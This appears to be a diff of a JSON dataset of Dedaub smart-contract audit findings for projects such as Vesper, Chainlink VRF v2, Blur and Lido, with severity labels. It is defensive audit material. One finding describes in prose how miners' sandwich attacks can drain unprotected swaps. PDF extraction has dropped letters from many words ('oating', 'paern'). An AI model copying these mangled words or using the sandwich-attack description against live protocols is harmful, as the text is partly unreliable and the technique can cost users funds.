in order to support ERC-20 tokens that change in number, with time. This certainly necessitates a shares model instead of a separate accounts model. It may be good to document exactly the behavior of tokens that the designer of the contract expects, with specic token examples. There are certainly token models that will not be supported by the current design, and others that are. A more radical approach could also be to use a clone of VestingNFT for each bounty (similarly to how clones of vestingNTFReceiver are used), so that funds for each bounty are kept in a separate contract. Apart from facilitating the accounting (no need for a \"shares\" model), this design would likely mitigate the losses from a critical bug (the adversary could drain a single bounty but not all of them).", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "code Resolved 13 The function QuickSort::sort admits some simplications/dead-code elimination. Some of these are only possible under the invariant left < right (which is true in the current uses of the function), others regardless. We highlight them in the four code comments below. function sort( bytes32[] memory arr, uint256 left, uint256 right // Dedaub: invariant: left < right ) internal pure { uint256 i = left; uint256 j = right; if (i == j) return; // Dedaub: dead code, under invariant bytes32 pivot = arr[left + (right - left) / 2]; while (i <= j) { // Dedaub: definitely true the first time, under invariant, // loop could be a do..while while (arr[i] < pivot) i++; while (pivot < arr[j]) j--; if (i <= j) { // Dedaub: always the case, no need to check (arr[i], arr[j]) = (arr[j], arr[i]); i++; j--; } } if (left < j) sort(arr, left, j); if (i < right) sort(arr, i, right); }", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "cannot recover from renouncing Dismissed (intended behavior) In the ImplOwnable contract (currently unused) if the owner calls renounceOwnership, no new owner can be installed. It is unclear whether this is intentional and whether the contract will be used in the future.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "for contract size Info 14 For the bytecode size issues of VestingNFT, our suggestion would be to create a VestingNFT library contract (containing all functions that do not heavily involve storage slots, such as pure functions, some views that only affect 1-2 storage slots) and have calls in VestingNFT delegate to the library versions. Shorter-term solutions might exist (e.g., removing one of the super-contracts, such as DelegateGuard, in some way) but they will not save a large contract from bumping against size limits for long.", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", - "body": "pragma Open Use of a oating pragma: The oating pragma pragma solidity ^0.8.6; is used, allowing contracts to be compiled with any version of the Solidity compiler that is greater or equal to v0.8.6 and lower than v.0.9.0. Although the differences between these versions should be small, for deployment, oating pragmas should ideally be avoided and the pragma be xed. A15 Compiler known issues Info Solidity compiler v0.8.6, at the time of writing, has no known bugs. 15", - "labels": [ - "Dedaub", - "Immunefi", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "(or consulting an oracle for pricing) can be front-run Status Open 4 There are many instances of Uniswap/Sushiswap swaps and oracle queries (mainly wrapped in calls to to the internal swapManager.safeGetAmountsOut, swapTokensForExactTokens, bestOutputFixedInput) that can be front-run or return biased results through tilted exchange pools. Fixing this requires careful thought, but the codebase has already started integrating a simple time-weighted average price oracle. function Strategy::_safeSwap, but also as direct calls calls and to We have warned about such swaps in past audits and the saving grace has been that the swapped amounts are small: typically interest/reward payments only. Thus, tilting the exchange pool is not protable for an attacker. In CompoundXYStrategy (which contains many of these calls), swaps are performed not just from the COMP rewards token but also from the collateral token. Similarly, in the Earn strategies, the _convertCollateralToDrip does an unrestricted collateral swap, on the default path (no swapSlippage dened). Swapping collateral (up to all available) should be ne if the only collateral token amounts held in the strategy at the time of the swap are from exchanging COMP or other rewards. Still, this seems like a dangerous practice. Standard background: The problem is that the swap can be sandwiched by an attacker collaborating with a miner. This is a very common pattern in recent months, with MEV (Maximum Extractable Value) attacks for total sums in the hundreds of millions. The current code complexity offers some small protection: typically attackers colluding with miners currently only attack the simplest, lowest-risk (to them) transactions. However, with small code analysis of the Vesper code, an attacker can recognize quickly the potential for sandwiching and issue an attack, rst tilting the swap pool and then restoring it, to retrieve most of the funds swapped by the Vesper code. In the current state of the code, the attacker will likely need to tilt two pools: both Uniswap and Sushiswap. However, this also offers little protection, since they both use similar on-chain price computations and near-identical APIs. In the short-term, deployed code should be closely monitored to ensure the swapped amounts are very small (under 0.3%) relative to the size of the pools involved. Also, if an attack is detected, the contract should be paused to avoid repeat attacks. However, the code should evolve to have an estimate of asset pricing at the earliest possible time! This can be achieved by using the TWAP functionality that is already being added, with some tolerance based on this expected price.", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: High" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "non-standard ERC20 Tokens can be stuck inside the Resolved VFRBuffer 5 The VFRBuffer does not use the safeERC20 library for the transfer of ERC20 tokens. This can cause non-standard tokens (for example USDT) to be unable to be transferred inside the Buffer and get stuck there. This issue would normally be ranked lower, but since USDT is actively used in past strategies, it seems likely to arise with upcoming instantiations of the VFR pool. Medium Severity Nr. Description", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: High" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "rewards might get stuck in CompoundLeverageStrategy Status Dismissed (Normal path: rebalance before migrate) CompoundLeverageStrategy does not offer a way to migrate COMP tokens that might have been left unclaimed by the strategy up to the point of migration. What is more, COMP is declared a reserved token by CompoundMakerStrategy making it impossible to sweep the strategys COMP balance even if a claim is made to Compound after the migration. The _beforeMigration hook should be extended to account for the claim and consequent transfer of COMP tokens to the new strategy as follows: function _beforeMigration(address _newStrategy) internal virtual override { require(IStrategy(_newStrategy).token() == address(cToken), \"wrong-receipt-token\"); minBorrowLimit = 0; // It will calculate amount to repay based on borrow limit and payback all _reinvest(); // Dedaub: Claim COMP and transfer to new strategy. _claimComp(); IERC20(COMP).safeTransfer(_newStrategy,IERC20(COMP).balanceOf(address(this))); }", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "rewards might get stuck in CompoundXYStrategy Dismissed (as above) 6 The _beforeMigration hook of CompoundXYStrategy calls _repay and lets it handle the claim of COMP and its conversion to collateral, thus no COMP needs to be transferred to the new strategy prior to migration. However, the claim in _repay happens only when the condition _repayAmount > _borrowBalanceHere evaluates to true, which might not always hold prior to migration, leading to COMP getting stuck in the strategy. This is because COMP is declared a reserved token and thus cannot be swept after migration.", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "Compound markets are never entered Dismissed (unnecessary) The CompoundLeverageStrategys CToken market Comptroller. This leaves the strategy unable to borrow from the specied CToken. is never entered via Compounds", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "The checkpoint method only considers proting strategies when computing the total prots of a pools strategies Resolved The checkpoint() method of the VFRStablePool iterates over the pools strategies to compute their total prots and update the pools predictedAPY state variable: address[] memory strategies = getStrategies(); uint256 profits; // SL: Is it ok that it doesn't consider strategies at a loss? for (uint256 i = 0; i < strategies.length; i++) { (, uint256 fee, , , uint256 totalDebt, , , ) = IPoolAccountant(poolAccountant).strategy(strategies[i]); uint256 totalValue = IStrategy(strategies[i]).totalValueCurrent(); if (totalValue > totalDebt) { uint256 totalProfits = totalValue - totalDebt; uint256 actualProfits = totalProfits - ((totalProfits * fee) / MAX_BPS); profits += actualProfits; } } The above computation disregards the losses of any strategies that are not proting. Due to that the predicted APY value will not be accurate. 7", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "CompoundXY strategy does not account for rapid rise of Resolved borrow token price (This issue was also used earlier as an example in our architectural recommendations.) The CompoundXY strategy seeks to repay a borrowed amount if its value rises more than expected. However, volatile assets can rise or drop in price dramatically. (E.g., a collateral stablecoin can lose its peg, or a tokens price can double in hours.) This means that the Compound loan may become undercollateralized. In this case, the borrowed amount may be worth more than the collateral, so it would be benecial for the strategy to not repay the loan. Furthermore, it might be the case that the collateral gets liquidated before the strategy rebalances. In this case the strategy will be left with borrow tokens that it can neither transfer nor swap. The strategy can be enhanced to account for the rst of these cases, and the overall architecture can adopt an emergency rescue mechanism for possibly stuck funds. This emergency rescue would be a centralization element, so it should only be authorized by governance. M6 CompoundXYStrategy, CompoundLeverageStrategy: Error code of Mostly Resolved Compound API calls ignored, can lead to silent failure of functionality The calls to many state-altering Compound API calls return an error code, with a 0-value indicating success. These error codes are often ignored, which can cause certain parts of the strategies functionality to fail, silently. The calls with their error status ignored are: CompoundXYStrategy::constructor: Comptroller.enterMarkets() CompoundXYStrategy::updateBorrowCToken: Comptroller.exitMarket(), Comptroller.enterMarkets(), CToken.borrow() CompoundXYStrategy::_mint: CToken.mint() (is returned but not check by the callers of _mint()) CompoundXYStrategy::_reinvest: CToken.borrow() CompoundXYStrategy::_repay: CToken.repayBorrow() CompoundXYStrategy::_withdrawHere: CToken.redeemUnderlying() CompoundLeverageStrategy::_mint: CToken.mint() CompoundLeverageStrategy::_redeemUnderlying: CToken.redeemUnderlying() CToken.redeem(), CompoundLeverageStrategy::_borrowCollateral: CToken.borrow() CompoundLeverageStrategy::_repayBorrow: CToken.repayBorrow() 8 Low Severity Nr. Description", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "ALPHA rewards are not claimed on-chain Status Open The _claimRewardsAndConvertTo() method of the Alpha lend strategy does not do what its name and comments indicate it does. It only converts the claimed ALPHA tokens. The actual claiming of the funds does not appear to happen using an on-chain API.", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "storage eld Resolved In CompoundLeverageStrategy, eld borrowToken is unused. A comment mentions it but does not match the code. L3 Two swaps could be made one, for fee savings Dismissed, detailed consideration In CompoundXYStrategy::_repay, COMP is rst swapped into collateral, and then collateral (which should be primarily, if not exclusively, the swapped COMP) is swapped to the borrow token. This incurs double swap fees. Other/Advisory Issues This section details issues that are not thought to directly affect the functionality of the project, but we recommend addressing. Nr. Description", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "contract seems to serve no purpose Status Open This contract currently does nearly nothing. It is neither inherited nor exports functionality that makes it usable as part of a VFR strategy. 9", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "contract is there only for code reuse Open The VFR contract currently has the form: abstract contract VFR { function _transferProfit(...) internal virtual returns (uint256) {...} function _handleStableProfit(...) internal returns (uint256 _profit) {...} function _handleCoverageProfit(...) internal returns (uint256 _profit) {...} } It is, thus, a contract that merely denes internal functions, used via inheritance, for code reuse purposes. Inheritance for code reuse is often considered a bad, low-level coding practice. A similar effect may be more cleanly achieved via use of a library.", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "reserved tokens Open In most strategies the collateral token is part of those in isReservedToken. Not in AlphaLendStrategy.", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "COMP rewards can be triggered by anyone Dismissed, after review COMP Although we cannot see an issue with it, multiple public functions allow anyone to trigger a claim methods of totalValueCurrent/isLossMaking, and similarly in CompoundXYStrategy. It is worth revisiting whether the timing of rewards can confer a benet to a user. CompoundLeverageStrategy rewards, e.g., in", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "conventions Resolved often functionality Similar instance, between different CompoundXYStrategyETH and CompoundLeverageStrategyETH, we notice a difference in the _mint function (in one case it returns a value in the other not), and the presence of an _afterRedeem vs. full overriding of _redeemUnderlying. conventions. For follows", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", - "body": "looser checks are performed on construction than on Resolved migrateFusePool() When the RariFuseStrategy is constructed, a CToken (assumed to belong to an instantiation of a Rari Fuse pool) is passed as an argument. However, when the strategy migrates to another Fuse pool, Fuses API is used to ensure the new CToken will be part of a Rari Fuse pool. The same checks should also take place during the contracts construction. 10 A7 Compiler bugs Info The contracts were compiled with the Solidity compiler v0.8.3 which, at the time of writing, has a known minor issue. We have reviewed the issue and do not believe it to affect the contracts. More specically the known compiler bug associated with Solidity compiler v0.8.3: Memory layout corruption can happen when using abi.decode for the deserialization of two-dimensional arrays. 11", - "labels": [ - "Dedaub", - "Vesper Pools+Strategies September", - "Severity: Informational" - ] - }, - { - "title": "gas behavior in BondExtraData ", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/Chicken Bonds Delta Audit (NFT additions).pdf", - "body": " RESOLVED (commit a60f451f) The BondExtraData struct is designed to t in one storage word: struct BondExtraData { uint80 initialHalfDna; uint80 finalHalfDna; uint32 troveSize; // Debt in LUSD uint32 lqtyAmount; // Holding LQTY, staking or deposited into Pickle uint32 curveGaugeSlopes; // For 3CRV and Frax pools combined } (We note, in passing, that the uint32 amounts are rounded down, so dierent underlying amounts can map to the same recorded amount. This seems like an extremely minor inaccuracy but it also pertains to issue L1, of NFT manipulation.) The result of ing the struct in a single word is that the following code is highly suboptimal, gas-wise, requiring 4 separate SSTOREs, but also SLOADs of values before the SSTORE (so that unaected bits get preserved): function setFinalExtraData(address _bonder, uint256 _tokenID, uint256 _permanentSeed) external returns (uint80) { 0 idToBondExtraData[_tokenID].finalHalfDna = newDna; idToBondExtraData[_tokenID].troveSize = _uint256ToUint32(troveManager.getTroveDebt(_bonder)); idToBondExtraData[_tokenID].lqtyAmount = _uint256ToUint32(lqtyToken.balanceOf(_bonder) + lqtyStaking.stakes(_bonder) + pickleLQTYAmount); idToBondExtraData[_tokenID].curveGaugeSlopes = _uint256ToUint32((curveLUSD3CRVGaugeSlope + curveLUSDFRAXGaugeSlope) * CURVE_GAUGE_SLOPES_PRECISION); We recommend using a memory record of the struct, reading its original value from storage, updating the 4 elds in-memory, and storing back to idToBondExtraData[_tokenID]. The Solidity compiler could conceptually optimize the above paern, but current versions do not even aempt such an optimization in the presence of internal calls, let alone external calls. (We also ascertained that the resulting bytecode is suboptimal under the current build seings of the repo.)", - "labels": [ - "Dedaub", - "Chicken Bonds Delta", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/Chicken Bonds Delta Audit (NFT additions).pdf", - "body": "extraneous check RESOLVED (commit f5fb7f16) Under the, relatively reasonable, assumption that MIN_BOND_AMOUNT is never zero, the rst of the following checks would be extraneous: function createBond(uint256 _lusdAmount) public returns (uint256) { _requireNonZeroAmount(_lusdAmount); _requireMinBond(_lusdAmount); A3 Compiler bugs INFO (RESOLVED) 0 The code is compiled with Solidity 0.8.10 or higher. For deployment, we recommend no floating pragmas, i.e., a specic version, so as to be condent about the baseline guarantees oered by the compiler. Version 0.8.10, in particular, has some known bugs, which we do not believe to aect the correctness of the contracts.", - "labels": [ - "Dedaub", - "Chicken Bonds Delta", - "Severity: Informational" - ] - }, - { - "title": "Consumer can be simplied ", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", - "body": " Resolved There is lile reason to keep subId both in the key and in the value of the s_consumers mapping. struct Consumer { uint64 subId; uint64 nonce; } mapping(address => mapping(uint64 => Consumer)) /* consumer */ /* subId */ private s_consumers; The information could be kept in a boolean, or encoded in the nonce eld. (E.g., start nonces from 1, to denote an allocated consumer with 0 requests.)", - "labels": [ - "Dedaub", - "Chainlink VRF v.2", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", - "body": "code in getRandomnessFromProof Dismissed Under the current denition of the Chainlink blockhash store, the following is dead code (condition never true). The call to get the blochhash would have reverted. blockHash = BLOCKHASH_STORE.getBlockhash(rc.blockNum); if (blockHash == bytes32(0)) { revert BlockhashNotInStore(rc.blockNum); } Admiedly, it is good to code defensively relative to external calls, so the check is not without merit.", - "labels": [ - "Dedaub", - "Chainlink VRF v.2", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", - "body": "check in fulfillRandomWords Resolved 0 The check if (gasPreCallback < rc.callbackGasLimit) { revert InsufficientGasForConsumer(gasPreCallback, rc.callbackGasLimit); } is unnecessary, given the stronger check that follows inside the call to callWithExactGas, with gasAmount being rc.callbackGasLimit: assembly { let g := gas() ... if iszero(gt(sub(g, div(g, 64)), gasAmount)) { revert(0, 0) } ...", - "labels": [ - "Dedaub", - "Chainlink VRF v.2", - "Severity: Low" - ] - }, - { - "title": "meaning of MIN_GAS_LIMIT is unclear Resolved Code comments describe MIN_GAS_LIMIT as: // The minimum gas limit that could be requested for a callback. // Set to 5k to ensure plenty of room to make the call itself. uint256 public constant MIN_GAS_LIMIT = 5_000; and /** ... * The minimum amount of gasAmount is MIN_GAS_LIMIT. (With gasAmount being the callbackGasLimit.) However, MIN_GAS_LIMIT is never compared against the callback gas limit, only against the currently available gas. Our interpretation was that it intends to account for the gas of other VRFCoordinatorV2 contract operations outside the client callback. If so, the limit of 5000 is too low. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ID Description ", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", - "body": "", - "labels": [ - "Dedaub", - "Chainlink VRF v.2", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", - "body": "s_fallbackWeiPerUnitLink left out of Config Dismissed It is unclear why variable s_fallbackWeiPerUnitLink is not included in the Config structure, since it is essentially handled as one of the variables therein. For example, the return statement of getConfig(): return ( config.minimumRequestConfirmations, config.fulfillmentFlatFeeLinkPPM, config.maxGasLimit, config.stalenessSeconds, config.gasAfterPaymentCalculation, config.minimumSubscriptionBalance, s_fallbackWeiPerUnitLink ); Is there some benet in keeping the size of Cong down to one word, given that it seems to be always read/wrien together with s_fallbackWeiPerUnitLink ?", - "labels": [ - "Dedaub", - "Chainlink VRF v.2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", - "body": "optimizations using unchecked wrapper Dismissed In VRFCoordinatorV2.sol there are a number of safe mathematical operations that could be made more gas eicient if wrapped in unchecked{} In fulllRandomWords: s_subscriptions[rc.subId].balance -= payment; s_withdrawableTokens[s_provingKeys[keyHash]] += payment; In OracleWithdraw: 0 s_withdrawableTokens[msg.sender] -= amount; s_totalBalance -= amount; In defundSubscription: s_subscriptions[subId].balance -= amount; s_totalBalance -= amount In cancelSubscription: s_totalBalance -= balance However, this recommendation could slightly downgrade readability and clarity.", - "labels": [ - "Dedaub", - "Chainlink VRF v.2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", - "body": "ordering inside contracts Dismissed Consider adopting the oicial style guide for function ordering within a contract. In order of priority: external > public > internal > private and view > pure within the same visibility group. hps://docs.soliditylang.org/en/v0.8.7/style-guide.html#order-of-functions", - "labels": [ - "Dedaub", - "Chainlink VRF v.2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink VRF v.2 audit.pdf", - "body": "pragma INFO Use of a floating pragma: The floating pragma pragma solidity ^0.8.0; is used, allowing contracts to be compiled with any version of the Solidity compiler that is greater or equal to v0.8.0 and lower than v.0.9.0. Although the dierences between these versions should be small, for deployment, floating pragmas should ideally be avoided and the pragma be xed. A5 Compiler known issues INFO Solidity compiler v0.8.0, at the time of writing, has some known bugs (SignedImmutables, ABIDecodeTwoDimensionalArrayMemory, KeccakCaching). We believe that none of them aects the code: no immutable signed integer variables are declared, no multidimensional arrays seem to be used in the audited contracts, and no keccak hashing of constant memory arrays takes place. 0 0", - "labels": [ - "Dedaub", - "Chainlink VRF v.2", - "Severity: Informational" - ] - } -] \ No newline at end of file +[{"title": "already timed-up may not be taken into account if a preceding one hasnt expired ye ", "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", "body": " RESOLVED The _computeUnlocked() function of the TokenLockup contract iterates over the schedules to calculate the unlocked amount of tokens based on the schedules which the contract has been initialized with. However, there is no guarantee that these schedules are in ascending order based on the endTime eld. As a result, a schedule which expires before its preceding one can lead to the amount of the schedule not being counted until the preceding one expires too. This happens due to the fact that the loop breaks once it reaches a schedule which hasnt expired yet. TokenLockup::_computeUnlocked() function _computeUnlocked( uint256 locked, uint256 time ) internal view returns (uint256) { ... for (uint i; i < scheduleLength; i++) { uint256 portion = schedule[i].portion; uint256 end = schedule[i].endTime; // Dedaub: Here the loop breaks once it finds a schedule // if (time < end) { that hasnt expired yet unlocked += locked * (time - start) * portion / ((end - start) * INVERSE_BASIS_POINTS); break; } else { unlocked += locked * portion / INVERSE_BASIS_POINTS; start = end; } } return unlocked; } Hence, it could result in geing incorrect information about the unlocked tokens at any particular moment which can also lead to incorrect calculations of the voting power of the users. L2 Schedule portions are not checked whether they add up to 100% RESOLVED Every TokenLockup contract gets a list of schedules upon construction which will release portions of the unallocated tokens. However, there is no check to ensure that the provided portions add up to 100% so that the entire amount of tokens become claimable after an amount of time. TokenLockup::_computeUnlocked() function _computeUnlocked( uint256 locked, uint256 time ) internal view returns (uint256) { ... // Dedaub: This loop iterates over the schedules taking into account each schedules portion, but there is no check that they // all add up to 100% // for (uint i; i < scheduleLength; i++) { uint256 portion = schedule[i].portion; uint256 end = schedule[i].endTime; if (time < end) { unlocked += locked * (time - start) * portion / ((end - start) * INVERSE_BASIS_POINTS); break; } else { unlocked += locked * portion / INVERSE_BASIS_POINTS; start = end; } } return unlocked; } CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ", "labels": ["Dedaub", "Blur Finance delta", "Severity: Low"]}, {"title": "signicance of BlurToken::delegates should be clearly documented ", "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", "body": " DISMISSED The issue was invalidated by the nal revision of the code. The delegates function was removed for gas savings. We reiterate our warning about counter-intuitive behavior (without the function) and the need for documentation and user awareness. The seemingly innocuous view function BlurToken::delegates is central to the correct functioning of the voting process. This should be documented, at least via a highly visible code comment (e.g., **WARN**). Specically, the function denition is: BlurTokens::delegates() function delegates( address account ) public view override returns (address) { address _delegate = ERC20Votes.delegates(account); if (_delegate == address(0)) { _delegate = account; } return _delegate; } This seems to suggest the function is just a no-op convention: an account is itself its delegatee if it would otherwise have none. However, this logic is crucial ERC20Votes protocol. Specically, the protocol documentation warns: in the correct functioning of the OpenZeppelin * By default, token balance does not account for voting power. * This makes transfers cheaper. The downside is that it * requires users to delegate to themselves in order to activate * checkpoints and have their voting power tracked. The overridden delegates function in BlurToken achieves this exact purpose: causes every token transfer (which calls delegates() in the _afterTokenTransfer hook of the ERC20Votes contract) to update (checkpoint) the voting power of all parties. Without the denition of the delegates function, the behavior would be signicantly dierent: a claim from a TokenLockup would result in lower votes than before (because the Blur token balanceOf would increase without being checkpointed into the votes), while the TokenLockup::balanceOf (which is accounted in BlurGovernor::getVotes) would decrease due to the higher totalClaimed; correct updates of the voting power would require delegate calls; gas consumption of BlurToken transfers would be lower.", "labels": ["Dedaub", "Blur Finance delta", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", "body": "out-of-bounds access due to lack of length compatibility RESOLVED The fund() function of the TokenLockup.sol contract, iterates over the amounts[] array for sending the funds to the corresponding recipients. However, the two arrays provided as parameters are not checked for their length compatibility. Thus, if the amounts[] array is larger than the recipients[] one, the loop could try to access items out of bounds and revert.", "labels": ["Dedaub", "Blur Finance delta", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", "body": "overrides RESOLVED The BlurGovernor.sol contract inherits from several other contracts and some functions should be overridden as they appear in more than one inherited contract. However, the following functions are not needed to be overridden: votingDelay() votingPeriod() quorum(...) propose(...) Moreover, the following contracts are also not needed to be declared in the inherited list as the rest of the contracts already inherit from them: Governor GovernorVotes", "labels": ["Dedaub", "Blur Finance delta", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", "body": "number used in BlurExchange::setFeeRate() RESOLVED Ideally, numeric constants should be visible prominently at the top of a contract, instead of being buried in the code, for easier maintainability and readability. In this case: BlurExchange::setFeeRate() 1 function setFeeRate(uint256 _feeRate) external { require(msg.sender == governor, \"Fee rate can only be set by governor\"); // Dedaub: Magic constant require(feeRate <= 250, \"Fee cannot be more than 2.5%\"); ... } A5 Compiler bugs INFO The code is compiled with Solidity 0.8.17. Version 0.8.17, at the time of writing, hasnt any known bugs. 1", "labels": ["Dedaub", "Blur Finance delta", "Severity: Informational"]}, {"title": "might misbehave if bufferedRedeems != fundRaisedBalanc ", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Liquid Staking Delta Audit - Apr 2023.pdf", "body": " RESOLVED The intended procedure of forced unbond requires seing bufferedRedeems == fundRaisedBalance via a call to setBufferedRedeems. As a consequence, LidoUnbond::_processEnabled expects these two amounts to be equal during forced unbond. function _processEnabled(int256 _stake) internal { ... // Dedaub: This code will break if bufferedRedeems is not exactly // if (isUnbondForced && isRedeemDisabled && bufferedRedeems == fundRaisedBalance) equal to fundRaisedBalance { targetStake = 0; } else { targetStake = getTotalPooledKSM() / ledgersLength; } } However , the contract does not guarantee that these amounts will be exactly equal. For instance, setBufferedRedeems only contains an inequality check: function setBufferedRedeems( uint256 _bufferedRedeems ) external redeemDisabled auth(ROLE_BEACON_MANAGER) { // Dedaub: Equality not guaranteed require(_bufferedRedeems <= fundRaisedBalance, \"LIDO: VALUE_TOO_BIG\"); bufferedRedeems = _bufferedRedeems; } It is also hard to verify that no other function modifying these amounts can be called after calling setBufferedRedeems. If, for any reason, the amounts are not exactly equal during forced unbond, the else branch in _processEnabled will be executed, causing targetState to be wrongly computed and likely leaving the contract in a problematic state. To make the contract more robust we recommend properly handling the case when the two amounts are dierent, possibly by reverting, instead of executing the wrong branch. For instance: function _processEnabled(int256 _stake) internal { ... // Dedaub: Modified code if (isUnbondForced && isRedeemDisabled) { require(bufferedRedeems == fundRaisedBalance); targetStake = 0; } else { targetStake = getTotalPooledKSM() / ledgersLength; } } Another to fundRaisedBalance within this function. approach could be actually set _bufferedRedeems = L2 Set bufferedRedeems = fundRaisedBalance and isUnbondForced in a single transaction RESOLVED Forced unbond is initiated by seing bufferedRedeems = fundRaisedBalance and isUnbondForced = true, via separate calls to setIsUnbondForced and setBufferedRedeems. If, however, only one of the two changes is performed, the 4 contract will likely misbehave. As a consequence, it would be safer to perform both updates in a single transaction OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend addressing them. ", "labels": ["Dedaub", "Lido on Kusama,Polkadot Liquid Staking Delta", "Severity: Low"]}, {"title": "and check all contracts before starting the forced unbond procedure ", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Liquid Staking Delta Audit - Apr 2023.pdf", "body": " INFO The documented procedure for enabling forced unbond states to rst update the Ledger contract, then to chill all Ledgers, and afterwards to upgrade the Lido contract. Although this order can work, we nd it safer to rst nish all upgrades of all contracts, check that the upgraded contracts work by simulating calls to the corresponding 